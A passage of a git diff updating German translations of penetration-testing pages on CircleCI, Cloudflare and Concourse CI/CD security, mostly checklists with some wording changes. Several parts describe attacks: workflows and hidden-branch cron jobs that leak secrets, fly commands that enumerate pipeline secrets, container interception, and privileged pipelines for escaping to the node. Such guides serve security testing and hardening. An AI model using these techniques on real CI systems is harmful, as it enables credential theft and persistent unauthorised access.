Repository** haben und wissen, dass CircleCI verwendet wird, können Sie einfach **einen Workflow ändern**, der **jede Minute ausgelöst wird** und **die Geheimnisse an eine externe Adresse exfiltriert**: ```yaml version: 2.1 @@ -196,7 +196,7 @@ context: Test-Context #### Escape to Cloud -**CircleCI** gibt Ihnen die Möglichkeit, **Ihre Builds auf ihren Maschinen oder auf Ihren eigenen auszuführen**.\ +**CircleCI** bietet Ihnen die Möglichkeit, **Ihre Builds auf ihren Maschinen oder auf Ihren eigenen auszuführen**.\ Standardmäßig befinden sich ihre Maschinen in GCP, und anfangs werden Sie nichts Relevantes finden können. Wenn ein Opfer jedoch die Aufgaben auf **seinen eigenen Maschinen (möglicherweise in einer Cloud-Umgebung)** ausführt, könnten Sie einen **Cloud-Metadaten-Endpunkt mit interessanten Informationen darauf** finden. Beachten Sie, dass in den vorherigen Beispielen alles innerhalb eines Docker-Containers gestartet wurde, aber Sie können auch **bitten, eine VM-Maschine zu starten** (die möglicherweise unterschiedliche Cloud-Berechtigungen hat): @@ -221,15 +221,15 @@ version: 19.03.13 ``` #### Persistenz -- Es ist möglich, **Benutzertoken in CircleCI** zu erstellen, um auf die API-Endpunkte mit dem Zugriff des Benutzers zuzugreifen. +- Es ist möglich, **Benutzertoken in CircleCI** zu erstellen, um auf die API-Endpunkte mit den Benutzerzugriffsrechten zuzugreifen. - _https://app.circleci.com/settings/user/tokens_ - Es ist möglich, **Projekttoken** zu erstellen, um auf das Projekt mit den dem Token gegebenen Berechtigungen zuzugreifen. - _https://app.circleci.com/settings/project/github/\/\/api_ - Es ist möglich, **SSH-Schlüssel** zu den Projekten hinzuzufügen. - _https://app.circleci.com/settings/project/github/\/\/ssh_ -- Es ist möglich, **einen Cron-Job in einem versteckten Branch** in einem unerwarteten Projekt zu erstellen, der jeden Tag alle **Kontext-Umgebungsvariablen** **leakt**. -- Oder sogar in einem Branch zu erstellen / einen bekannten Job zu modifizieren, der jeden Tag alle Kontext- und **Projektgeheimnisse** **leakt**. -- Wenn Sie ein GitHub-Besitzer sind, können Sie **unverifizierte Orbs** zulassen und einen in einem Job als **Hintertür** konfigurieren. +- Es ist möglich, **einen Cron-Job in einem versteckten Branch** in einem unerwarteten Projekt zu erstellen, der jeden Tag alle **Umgebungsvariablen** **leakt**. +- Oder sogar in einem Branch einen bekannten Job zu erstellen/modifizieren, der jeden Tag alle **Kontext- und Projektheimlichkeiten** **leakt**. +- Wenn Sie ein GitHub-Besitzer sind, können Sie **nicht verifizierte Orbs** zulassen und einen in einem Job als **Hintertür** konfigurieren. - Sie können eine **Befehlsinjektionsanfälligkeit** in einer bestimmten Aufgabe finden und **Befehle** über ein **Geheimnis** injizieren, indem Sie dessen Wert ändern. {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/cloudflare-security/README.md b/src/pentesting-ci-cd/cloudflare-security/README.md index 0ebb73915..155f403e5 100644 --- a/src/pentesting-ci-cd/cloudflare-security/README.md +++ b/src/pentesting-ci-cd/cloudflare-security/README.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -In einem Cloudflare-Konto gibt es einige **allgemeine Einstellungen und Dienste**, die konfiguriert werden können. Auf dieser Seite werden wir die **sicherheitsrelevanten Einstellungen** jedes Abschnitts **analysieren:** +In einem Cloudflare-Konto gibt es einige **allgemeine Einstellungen und Dienste**, die konfiguriert werden können. Auf dieser Seite werden wir die **sicherheitsrelevanten Einstellungen** jeder Sektion **analysieren:**
@@ -45,20 +45,20 @@ Auf jeder Cloudflare-Seite: Überprüfen Sie bei jedem Cloudflare-Worker: - [ ] Die Trigger: Was löst den Worker aus? Kann ein **Benutzer Daten senden**, die vom Worker **verwendet** werden? -- [ ] In den **`Einstellungen`** überprüfen Sie auf **`Variablen`**, die **sensible Informationen** enthalten. +- [ ] In den **`Einstellungen`** überprüfen, ob **`Variablen`** mit **sensiblen Informationen** vorhanden sind. - [ ] Überprüfen Sie den **Code des Workers** und suchen Sie nach **Schwachstellen** (insbesondere an Stellen, an denen der Benutzer die Eingabe verwalten kann). - Überprüfen Sie auf SSRFs, die die angegebene Seite zurückgeben, die Sie kontrollieren können. - Überprüfen Sie XSS, die JS innerhalb eines SVG-Bildes ausführen. -- Es ist möglich, dass der Worker mit anderen internen Diensten interagiert. Zum Beispiel kann ein Worker mit einem R2-Bucket interagieren, der Informationen speichert, die aus der Eingabe gewonnen wurden. In diesem Fall wäre es notwendig zu überprüfen, welche Möglichkeiten der Worker über den R2-Bucket hat und wie er aus der Benutzereingabe missbraucht werden könnte. +- Es ist möglich, dass der Worker mit anderen internen Diensten interagiert. Zum Beispiel kann ein Worker mit einem R2-Bucket interagieren, der Informationen speichert, die aus der Eingabe stammen. In diesem Fall wäre es notwendig zu überprüfen, welche Möglichkeiten der Worker über den R2-Bucket hat und wie dies durch die Benutzereingabe missbraucht werden könnte. > [!WARNING] -> Beachten Sie, dass ein **Worker standardmäßig eine URL** wie `..workers.dev` erhält. Der Benutzer kann es auf eine **Subdomain** setzen, aber Sie können immer mit dieser **ursprünglichen URL** darauf zugreifen, wenn Sie sie kennen. +> Beachten Sie, dass einem **Worker standardmäßig eine URL** wie `..workers.dev` zugewiesen wird. Der Benutzer kann sie auf eine **Subdomain** setzen, aber Sie können immer mit dieser **ursprünglichen URL** darauf zugreifen, wenn Sie sie kennen. ## R2 Überprüfen Sie bei jedem R2-Bucket: -- [ ] Konfigurieren Sie die **CORS-Richtlinie**. +- [ ] **CORS-Richtlinie** konfigurieren. ## Stream @@ -70,7 +70,7 @@ TODO ## Sicherheitszentrum -- [ ] Wenn möglich, führen Sie einen **`Security Insights`**-**Scan** und einen **`Infrastructure`**-**Scan** durch, da sie **interessante Informationen** in Bezug auf die **Sicherheit** hervorheben werden. +- [ ] Wenn möglich, führen Sie einen **`Security Insights`**-**Scan** und einen **`Infrastructure`**-**Scan** durch, da sie interessante Informationen **sicherheitsrelevant** hervorheben. - [ ] Überprüfen Sie einfach diese Informationen auf Sicherheitsfehlkonfigurationen und interessante Infos. ## Turnstile @@ -94,26 +94,26 @@ cloudflare-zero-trust-network.md ## Benachrichtigungen - [ ] Überprüfen Sie die **Benachrichtigungen.** Diese Benachrichtigungen werden für die Sicherheit empfohlen: -- `Nutzungsbasierte Abrechnung` -- `HTTP DDoS-Angriffsbenachrichtigung` -- `Layer 3/4 DDoS-Angriffsbenachrichtigung` -- `Erweiterte HTTP DDoS-Angriffsbenachrichtigung` -- `Erweiterte Layer 3/4 DDoS-Angriffsbenachrichtigung` -- `Flow-basiertes Monitoring: Volumetrischer Angriff` +- `Usage Based Billing` +- `HTTP DDoS Attack Alert` +- `Layer 3/4 DDoS Attack Alert` +- `Advanced HTTP DDoS Attack Alert` +- `Advanced Layer 3/4 DDoS Attack Alert` +- `Flow-based Monitoring: Volumetric Attack` - `Route Leak Detection Alert` -- `Zugriff mTLS-Zertifikat-Ablaufbenachrichtigung` -- `SSL für SaaS-Custom-Hostnamen-Benachrichtigung` -- `Universelles SSL-Alert` -- `Script Monitor Neue Codeänderungserkennung-Benachrichtigung` -- `Script Monitor Neue Domain-Benachrichtigung` -- `Script Monitor Neue bösartige Domain-Benachrichtigung` -- `Script Monitor Neue bösartige Skript-Benachrichtigung` -- `Script Monitor Neue bösartige URL-Benachrichtigung` -- `Script Monitor Neue Skripte-Benachrichtigung` -- `Script Monitor Neues Skript überschreitet maximale URL-Längenbenachrichtigung` -- `Erweiterte Sicherheitsereignisbenachrichtigung` -- `Sicherheitsereignisbenachrichtigung` -- [ ] Überprüfen Sie alle **Ziele**, da es in den Webhook-URLs **sensible Informationen** (Basis-HTTP-Auth) geben könnte. Stellen Sie auch sicher, dass die Webhook-URLs **HTTPS** verwenden. +- `Access mTLS Certificate Expiration Alert` +- `SSL for SaaS Custom Hostnames Alert` +- `Universal SSL Alert` +- `Script Monitor New Code Change Detection Alert` +- `Script Monitor New Domain Alert` +- `Script Monitor New Malicious Domain Alert` +- `Script Monitor New Malicious Script Alert` +- `Script Monitor New Malicious URL Alert` +- `Script Monitor New Scripts Alert` +- `Script Monitor New Script Exceeds Max URL Length Alert` +- `Advanced Security Events Alert` +- `Security Events Alert` +- [ ] Überprüfen Sie alle **Ziele**, da es in Webhook-URLs **sensible Informationen** (Basis-HTTP-Auth) geben könnte. Stellen Sie auch sicher, dass Webhook-URLs **HTTPS** verwenden. - [ ] Als zusätzliche Überprüfung könnten Sie versuchen, eine **Cloudflare-Benachrichtigung** an eine dritte Partei zu **imitieren**, vielleicht können Sie irgendwie **etwas Gefährliches injizieren**. ## Konto verwalten @@ -125,7 +125,7 @@ cloudflare-zero-trust-network.md - [ ] In Members ist es möglich zu überprüfen, welche **Mitglieder** **2FA aktiviert** haben. **Jeder** Benutzer sollte es aktiviert haben. > [!NOTE] -> Beachten Sie, dass glücklicherweise die Rolle **`Administrator`** keine Berechtigungen zur Verwaltung von Mitgliedschaften gibt (**kann keine Berechtigungen erhöhen oder** neue Mitglieder einladen). +> Beachten Sie, dass glücklicherweise die Rolle **`Administrator`** keine Berechtigungen zur Verwaltung von Mitgliedschaften gibt (**kann keine Privilegien erhöhen oder** neue Mitglieder einladen). ## DDoS-Untersuchung diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md index 27f5879f0..2178a8649 100644 --- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md +++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md @@ -1,8 +1,8 @@ -# Cloudflare Domains +# Cloudflare-Domains {{#include ../../banners/hacktricks-training.md}} -In jeder in Cloudflare konfigurierten TLD gibt es einige **allgemeine Einstellungen und Dienste**, die konfiguriert werden können. Auf dieser Seite werden wir die **sicherheitsrelevanten Einstellungen** jeder Sektion **analysieren:** +In jeder TLD, die in Cloudflare konfiguriert ist, gibt es einige **allgemeine Einstellungen und Dienste**, die konfiguriert werden können. Auf dieser Seite werden wir die **sicherheitsrelevanten Einstellungen** jeder Sektion **analysieren:**
@@ -20,7 +20,7 @@ In jeder in Cloudflare konfigurierten TLD gibt es einige **allgemeine Einstellun - [ ] Überprüfen Sie **interessante** (sensible?) Daten in den DNS-**Einträgen** - [ ] Überprüfen Sie auf **Subdomains**, die **sensible Informationen** nur basierend auf dem **Namen** enthalten könnten (wie admin173865324.domin.com) - [ ] Überprüfen Sie auf Webseiten, die **nicht** **proxied** sind -- [ ] Überprüfen Sie auf **proxifizierte Webseiten**, die **direkt** über CNAME oder IP-Adresse **zugänglich** sind +- [ ] Überprüfen Sie auf **proxifizierte Webseiten**, die direkt über CNAME oder IP-Adresse **zugänglich** sind - [ ] Überprüfen Sie, dass **DNSSEC** **aktiviert** ist - [ ] Überprüfen Sie, dass **CNAME Flattening** in **allen CNAMEs** **verwendet** wird - Dies könnte nützlich sein, um **Subdomain-Übernahmeanfälligkeiten** zu **verbergen** und die Ladezeiten zu verbessern @@ -38,7 +38,7 @@ TODO #### **Übersicht** -- [ ] Die **SSL/TLS-Verschlüsselung** sollte **Voll** oder **Voll (Streng)** sein. Jede andere wird irgendwann **Klartextverkehr** senden. +- [ ] Die **SSL/TLS-Verschlüsselung** sollte **Voll** oder **Voll (Streng)** sein. Jede andere wird zu einem bestimmten Zeitpunkt **Klartextverkehr** senden. - [ ] Der **SSL/TLS-Empfehlungsdienst** sollte aktiviert sein #### Edge-Zertifikate @@ -52,7 +52,7 @@ TODO ### **Sicherheit** -- [ ] Im **`WAF`**-Bereich ist es interessant zu überprüfen, ob **Firewall** und **Ratenbegrenzungsregeln verwendet werden**, um Missbrauch zu verhindern. +- [ ] Im **`WAF`**-Bereich ist es interessant zu überprüfen, ob **Firewall**- und **Ratenbegrenzungsregeln verwendet werden**, um Missbrauch zu verhindern. - Die **`Bypass`**-Aktion wird die **Cloudflare-Sicherheits**-Funktionen für eine Anfrage **deaktivieren**. Sie sollte nicht verwendet werden. - [ ] Im **`Page Shield`**-Bereich wird empfohlen zu überprüfen, ob es **aktiviert** ist, wenn eine Seite verwendet wird - [ ] Im **`API Shield`**-Bereich wird empfohlen zu überprüfen, ob es **aktiviert** ist, wenn eine API in Cloudflare exponiert ist @@ -65,17 +65,17 @@ TODO #### **CloudFlare DDoS-Schutz** -- Wenn möglich, aktivieren Sie den **Bot Fight Mode** oder den **Super Bot Fight Mode**. Wenn Sie eine API programmgesteuert (z. B. von einer JS-Frontend-Seite) schützen, können Sie dies möglicherweise nicht aktivieren, ohne den Zugriff zu beeinträchtigen. +- Wenn möglich, aktivieren Sie den **Bot Fight Mode** oder den **Super Bot Fight Mode**. Wenn Sie eine API programmgesteuert schützen (zum Beispiel von einer JS-Frontend-Seite). Möglicherweise können Sie dies nicht aktivieren, ohne den Zugriff zu unterbrechen. - In **WAF**: Sie können **Ratenlimits nach URL-Pfad** oder für **verifizierte Bots** (Ratenbegrenzungsregeln) erstellen oder den **Zugriff** basierend auf IP, Cookie, Referrer... **blockieren**. So könnten Sie Anfragen blockieren, die nicht von einer Webseite stammen oder kein Cookie haben. - Wenn der Angriff von einem **verifizierten Bot** kommt, fügen Sie mindestens ein **Ratenlimit** für Bots hinzu. - Wenn der Angriff auf einen **bestimmten Pfad** abzielt, fügen Sie als Präventionsmechanismus ein **Ratenlimit** in diesem Pfad hinzu. - Sie können auch IP-Adressen, IP-Bereiche, Länder oder ASNs aus den **Tools** in WAF **whitelisten**. - Überprüfen Sie, ob **verwaltete Regeln** auch helfen könnten, um die Ausnutzung von Schwachstellen zu verhindern. - Im **Tools**-Bereich können Sie **bestimmte IPs** und **Benutzeragenten blockieren oder eine Herausforderung stellen.** -- In DDoS könnten Sie **einige Regeln überschreiben, um sie restriktiver zu machen**. -- **Einstellungen**: Setzen Sie das **Sicherheitsniveau** auf **Hoch** und auf **Unter Angriff**, wenn Sie unter Angriff stehen und die **Browser-Integritätsprüfung aktiviert ist**. -- In Cloudflare Domains -> Analytik -> Sicherheit -> Überprüfen Sie, ob die **Ratenbegrenzung** aktiviert ist -- In Cloudflare Domains -> Sicherheit -> Ereignisse -> Überprüfen Sie auf **entdeckte bösartige Ereignisse** +- Bei DDoS könnten Sie **einige Regeln überschreiben, um sie restriktiver zu machen**. +- **Einstellungen**: Setzen Sie das **Sicherheitsniveau** auf **Hoch** und auf **Unter Angriff**, wenn Sie unter Angriff stehen und die **Browser-Integritätsprüfung aktiviert** ist. +- In Cloudflare-Domains -> Analytik -> Sicherheit -> Überprüfen Sie, ob die **Ratenbegrenzung** aktiviert ist +- In Cloudflare-Domains -> Sicherheit -> Ereignisse -> Überprüfen Sie auf **erfasste bösartige Ereignisse** ### Zugriff @@ -85,7 +85,7 @@ cloudflare-zero-trust-network.md ### Geschwindigkeit -_Ich konnte keine Option im Zusammenhang mit Sicherheit finden_ +_Ich konnte keine Option finden, die mit Sicherheit zu tun hat_ ### Caching @@ -120,7 +120,7 @@ TODO ### Scrape Shield - [ ] Überprüfen Sie, ob die **E-Mail-Adressenobfuskation** **aktiviert** ist -- [ ] Überprüfen Sie, ob die **Serverseitigen Ausschlüsse** **aktiviert** sind +- [ ] Überprüfen Sie, ob die **Server-seitigen Ausschlüsse** **aktiviert** sind ### **Zaraz** diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md index 02d3a5e9b..843c26680 100644 --- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md +++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md @@ -32,13 +32,13 @@ Bei jeder Anwendung: #### **Access Groups** -- [ ] Überprüfen, dass die generierten Zugriffsgruppen **korrekt auf die Benutzer beschränkt** sind, die sie zulassen sollten. +- [ ] Überprüfen, dass die generierten Zugriffgruppen **korrekt auf die Benutzer** beschränkt sind, die sie zulassen sollten. - [ ] Es ist besonders wichtig zu überprüfen, dass die **Standardzugriffsgruppe nicht zu offen** ist (sie **erlaubt nicht zu viele Personen**), da standardmäßig jeder in dieser **Gruppe** auf **Anwendungen** zugreifen kann. - Beachten Sie, dass es möglich ist, **Zugriff** für **JEDEN** und andere **sehr offene Richtlinien** zu gewähren, die nicht empfohlen werden, es sei denn, es ist 100% notwendig. #### Service Auth -- [ ] Überprüfen, dass alle Servicetoken **in 1 Jahr oder weniger ablaufen** +- [ ] Überprüfen, dass alle Diensttoken **in 1 Jahr oder weniger ablaufen** #### Tunnels diff --git a/src/pentesting-ci-cd/concourse-security/README.md b/src/pentesting-ci-cd/concourse-security/README.md index c559d8141..76eeae886 100644 --- a/src/pentesting-ci-cd/concourse-security/README.md +++ b/src/pentesting-ci-cd/concourse-security/README.md @@ -22,9 +22,9 @@ Erfahren Sie, wie Sie eine Concourse-Umgebung lokal ausführen können, um Ihre concourse-lab-creation.md {{#endref}} -## Enumerieren & Angreifen von Concourse +## Concourse auflisten & angreifen -Erfahren Sie, wie Sie die Concourse-Umgebung enumerieren und missbrauchen können in: +Erfahren Sie, wie Sie die Concourse-Umgebung auflisten und missbrauchen können in: {{#ref}} concourse-enumeration-and-attacks.md diff --git a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md index c502281c7..5360b904a 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md @@ -20,16 +20,16 @@ Die Verantwortung des [Checkers](https://concourse-ci.org/checker.html) besteht Die TSA ist ein **maßgeschneiderter SSH-Server**, der ausschließlich zur sicheren **Registrierung** von [**Workern**](https://concourse-ci.org/internals.html#architecture-worker) beim [ATC](https://concourse-ci.org/internals.html#component-atc) verwendet wird. -Die TSA hört **standardmäßig auf Port `2222`** und ist normalerweise zusammen mit dem [ATC](https://concourse-ci.org/internals.html#component-atc) und hinter einem Lastenausgleichsgerät platziert. +Die TSA hört **standardmäßig auf Port `2222`** und ist normalerweise zusammen mit dem [ATC](https://concourse-ci.org/internals.html#component-atc) und hinter einem Lastenausgleich platziert. Die **TSA implementiert CLI über die SSH-Verbindung** und unterstützt [**diese Befehle**](https://concourse-ci.org/internals.html#component-tsa). #### Worker -Um Aufgaben auszuführen, muss Concourse einige Worker haben. Diese Worker **registrieren sich selbst** über die [TSA](https://concourse-ci.org/internals.html#component-tsa) und führen die Dienste [**Garden**](https://github.com/cloudfoundry-incubator/garden) und [**Baggageclaim**](https://github.com/concourse/baggageclaim) aus. +Um Aufgaben auszuführen, muss Concourse einige Worker haben. Diese Worker **registrieren sich** über die [TSA](https://concourse-ci.org/internals.html#component-tsa) und führen die Dienste [**Garden**](https://github.com/cloudfoundry-incubator/garden) und [**Baggageclaim**](https://github.com/concourse/baggageclaim) aus. -- **Garden**: Dies ist die **Container Management API**, die normalerweise auf **Port 7777** über **HTTP** ausgeführt wird. -- **Baggageclaim**: Dies ist die **Volume Management API**, die normalerweise auf **Port 7788** über **HTTP** ausgeführt wird. +- **Garden**: Dies ist die **Container Management API**, die normalerweise auf **Port 7777** über **HTTP** läuft. +- **Baggageclaim**: Dies ist die **Volume Management API**, die normalerweise auf **Port 7788** über **HTTP** läuft. ## Referenzen diff --git a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md index 5e815644b..857413c28 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md @@ -10,12 +10,12 @@ Concourse kommt mit fünf Rollen: - _Concourse_ **Admin**: Diese Rolle wird nur den Eigentümern des **Hauptteams** (standardmäßiges anfängliches Concourse-Team) zugewiesen. Admins können **andere Teams konfigurieren** (z.B.: `fly set-team`, `fly destroy-team`...). Die Berechtigungen dieser Rolle können nicht durch RBAC beeinflusst werden. - **owner**: Team-Eigentümer können **alles innerhalb des Teams ändern**. -- **member**: Team-Mitglieder können **lesen und schreiben** innerhalb der **Teamressourcen**, können jedoch die Teameinstellungen nicht ändern. +- **member**: Team-Mitglieder können **lesen und schreiben** innerhalb der **Team-Ressourcen**, können jedoch die Teameinstellungen nicht ändern. - **pipeline-operator**: Pipeline-Betreiber können **Pipeline-Operationen** wie das Auslösen von Builds und das Festlegen von Ressourcen durchführen, können jedoch die Pipeline-Konfigurationen nicht aktualisieren. - **viewer**: Team-Zuschauer haben **"Nur-Lese"-Zugriff auf ein Team** und dessen Pipelines. > [!NOTE] -> Darüber hinaus können die **Berechtigungen der Rollen owner, member, pipeline-operator und viewer geändert werden**, indem RBAC konfiguriert wird (genauer gesagt, dessen Aktionen). Lesen Sie mehr darüber unter: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html) +> Darüber hinaus können die **Berechtigungen der Rollen owner, member, pipeline-operator und viewer** durch die Konfiguration von RBAC (insbesondere durch die Konfiguration ihrer Aktionen) geändert werden. Lesen Sie mehr darüber in: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html) Beachten Sie, dass Concourse **Pipelines innerhalb von Teams gruppiert**. Daher können Benutzer, die zu einem Team gehören, diese Pipelines verwalten, und **mehrere Teams** können existieren. Ein Benutzer kann mehreren Teams angehören und unterschiedliche Berechtigungen in jedem von ihnen haben. @@ -24,7 +24,7 @@ Beachten Sie, dass Concourse **Pipelines innerhalb von Teams gruppiert**. Daher In den YAML-Konfigurationen können Sie Werte mit der Syntax `((_source-name_:_secret-path_._secret-field_))` konfigurieren.\ [Aus den Dokumenten:](https://concourse-ci.org/vars.html#var-syntax) Der **source-name ist optional**, und wenn er weggelassen wird, wird der [clusterweite Credential Manager](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) verwendet, oder der Wert kann [statisch](https://concourse-ci.org/vars.html#static-vars) bereitgestellt werden.\ Das **optionale \_secret-field**\_ gibt ein Feld im abgerufenen Geheimnis an, das gelesen werden soll. Wenn es weggelassen wird, kann der Credential Manager wählen, ein 'Standardfeld' aus dem abgerufenen Credential zu lesen, wenn das Feld existiert.\ -Darüber hinaus können der _**secret-path**_ und _**secret-field**_ von doppelten Anführungszeichen `"..."` umgeben werden, wenn sie **spezielle Zeichen** wie `.` und `:` enthalten. Zum Beispiel wird `((source:"my.secret"."field:1"))` den _secret-path_ auf `my.secret` und das _secret-field_ auf `field:1` setzen. +Darüber hinaus können der _**secret-path**_ und _**secret-field**_ von doppelten Anführungszeichen `"..."` umgeben sein, wenn sie **spezielle Zeichen** wie `.` und `:` enthalten. Zum Beispiel wird `((source:"my.secret"."field:1"))` den _secret-path_ auf `my.secret` und das _secret-field_ auf `field:1` setzen. #### Statische Vars @@ -34,12 +34,12 @@ Statische Vars können in **Aufgaben-Schritten** angegeben werden: file: booklit/ci/unit.yml vars: { tag: 1.13 } ``` -Or using the following `fly` **arguments**: +Oder verwenden Sie die folgenden `fly` **Argumente**: -- `-v` or `--var` `NAME=VALUE` setzt den String `VALUE` als Wert für die Variable `NAME`. -- `-y` or `--yaml-var` `NAME=VALUE` analysiert `VALUE` als YAML und setzt es als Wert für die Variable `NAME`. -- `-i` or `--instance-var` `NAME=VALUE` analysiert `VALUE` als YAML und setzt es als Wert für die Instanzvariable `NAME`. Siehe [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) um mehr über Instanzvariablen zu erfahren. -- `-l` or `--load-vars-from` `FILE` lädt `FILE`, ein YAML-Dokument, das Variablennamen mit Werten verknüpft, und setzt sie alle. +- `-v` oder `--var` `NAME=VALUE` setzt den String `VALUE` als Wert für die Variable `NAME`. +- `-y` oder `--yaml-var` `NAME=VALUE` analysiert `VALUE` als YAML und setzt es als Wert für die Variable `NAME`. +- `-i` oder `--instance-var` `NAME=VALUE` analysiert `VALUE` als YAML und setzt es als Wert für die Instanzvariable `NAME`. Siehe [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html), um mehr über Instanzvariablen zu erfahren. +- `-l` oder `--load-vars-from` `FILE` lädt `FILE`, ein YAML-Dokument, das die Zuordnung von Variablennamen zu Werten enthält, und setzt sie alle. #### Credential Management @@ -57,15 +57,15 @@ Darüber hinaus unterstützt Concourse verschiedene Credential Manager: - [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html) > [!CAUTION] -> Beachten Sie, dass wenn Sie eine Art von **Schreibzugriff auf Concourse** haben, Sie Jobs erstellen können, um **diese Geheimnisse zu exfiltrieren**, da Concourse in der Lage sein muss, auf sie zuzugreifen. +> Beachten Sie, dass Sie, wenn Sie eine Art von **Schreibzugriff auf Concourse** haben, Jobs erstellen können, um **diese Geheimnisse zu exfiltrieren**, da Concourse in der Lage sein muss, auf sie zuzugreifen. ### Concourse Enumeration Um eine Concourse-Umgebung zu enumerieren, müssen Sie zuerst **gültige Anmeldeinformationen sammeln** oder ein **authentifiziertes Token** finden, wahrscheinlich in einer `.flyrc`-Konfigurationsdatei. -#### Login und aktueller Benutzer enum +#### Login und aktuelle Benutzer-Enumeration -- Um sich anzumelden, müssen Sie den **Endpunkt**, den **Teamnamen** (Standard ist `main`) und ein **Team, dem der Benutzer angehört** kennen: +- Um sich anzumelden, müssen Sie den **Endpunkt**, den **Teamnamen** (Standard ist `main`) und ein **Team, dem der Benutzer angehört**, kennen: - `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]` - Konfigurierte **Ziele** abrufen: - `fly targets` @@ -75,7 +75,7 @@ Um eine Concourse-Umgebung zu enumerieren, müssen Sie zuerst **gültige Anmelde - `fly -t userinfo` > [!NOTE] -> Beachten Sie, dass das **API-Token** standardmäßig in `$HOME/.flyrc` **gespeichert** wird. Wenn Sie eine Maschine ausrauben, könnten Sie dort die Anmeldeinformationen finden. +> Beachten Sie, dass das **API-Token** standardmäßig in `$HOME/.flyrc` **gespeichert** wird. Wenn Sie Maschinen durchsuchen, könnten Sie dort die Anmeldeinformationen finden. #### Teams & Benutzer @@ -90,11 +90,11 @@ Um eine Concourse-Umgebung zu enumerieren, müssen Sie zuerst **gültige Anmelde - **Liste** der Pipelines: - `fly -t pipelines -a` -- **Pipeline** YAML abrufen (**sensible Informationen** könnten in der Definition gefunden werden): +- **Pipeline-YAML abrufen** (**sensible Informationen** könnten in der Definition gefunden werden): - `fly -t get-pipeline -p ` - Alle **konfigurierten Variablen** der Pipeline abrufen - `for pipename in $(fly -t pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done` -- Alle **Namen der verwendeten Geheimnisse in den Pipelines** abrufen (wenn Sie einen Job erstellen/modifizieren oder einen Container übernehmen können, könnten Sie sie exfiltrieren): +- Alle **geheimen Namen der Pipelines** abrufen (wenn Sie einen Job erstellen/modifizieren oder einen Container hijacken können, könnten Sie sie exfiltrieren): ```bash rm /tmp/secrets.txt; for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do @@ -118,18 +118,18 @@ rm /tmp/secrets.txt ### Concourse Angriffe -#### Brute-Force von Anmeldeinformationen +#### Credentials Brute-Force - admin:admin - test:test -#### Aufzählung von Geheimnissen und Parametern +#### Aufzählung von Secrets und Parametern -Im vorherigen Abschnitt haben wir gesehen, wie Sie **alle Geheimnisnamen und Variablen** abrufen können, die von der Pipeline verwendet werden. Die **Variablen können sensible Informationen enthalten** und der Name der **Geheimnisse wird später nützlich sein, um zu versuchen, sie zu stehlen**. +Im vorherigen Abschnitt haben wir gesehen, wie Sie **alle Geheimnisnamen und Variablen** abrufen können, die von der Pipeline verwendet werden. Die **Variablen können sensible Informationen enthalten** und der Name der **Secrets wird später nützlich sein, um zu versuchen, sie zu stehlen**. #### Sitzung innerhalb eines laufenden oder kürzlich ausgeführten Containers -Wenn Sie über ausreichende Berechtigungen (**Mitgliedsrolle oder mehr**) verfügen, können Sie **Pipelines und Rollen auflisten** und einfach eine **Sitzung innerhalb** des `/` **Containers** mit folgendem Befehl erhalten: +Wenn Sie genügend Berechtigungen (**Mitgliedsrolle oder mehr**) haben, können Sie **Pipelines und Rollen auflisten** und einfach eine **Sitzung innerhalb** des `/` **Containers** mit folgendem Befehl erhalten: ```bash fly -t tutorial intercept --job pipeline-name/job-name fly -t tutorial intercept # To be presented a prompt with all the options @@ -138,11 +138,11 @@ Mit diesen Berechtigungen könnten Sie in der Lage sein: - **Die Geheimnisse** im **Container** zu stehlen - Versuchen, zum Knoten zu **entkommen** -- Den **Cloud-Metadaten**-Endpunkt auflisten/missbrauchen (vom Pod und vom Knoten, wenn möglich) +- **Cloud-Metadaten**-Endpunkt auflisten/missbrauchen (vom Pod und vom Knoten, wenn möglich) #### Pipeline-Erstellung/-Änderung -Wenn Sie über ausreichende Berechtigungen (**Mitgliedsrolle oder mehr**) verfügen, können Sie **neue Pipelines erstellen/ändern.** Überprüfen Sie dieses Beispiel: +Wenn Sie genügend Berechtigungen (**Mitgliedsrolle oder mehr**) haben, können Sie **neue Pipelines erstellen/ändern.** Überprüfen Sie dieses Beispiel: ```yaml jobs: - name: simple @@ -168,14 +168,14 @@ SUPER_SECRET: ((super.secret)) ``` Mit der **Änderung/Erstellung** einer neuen Pipeline können Sie: -- **Geheime Informationen stehlen** (indem Sie sie ausgeben oder in den Container gelangen und `env` ausführen) -- **Entkommen** zum **Knoten** (indem Sie Ihnen genügend Berechtigungen geben - `privileged: true`) +- **Geheimnisse** **stehlen** (indem Sie sie ausgeben oder in den Container gelangen und `env` ausführen) +- Zu dem **Knoten** **entkommen** (indem Sie Ihnen genügend Berechtigungen geben - `privileged: true`) - **Cloud-Metadaten**-Endpunkt auflisten/missbrauchen (vom Pod und vom Knoten) 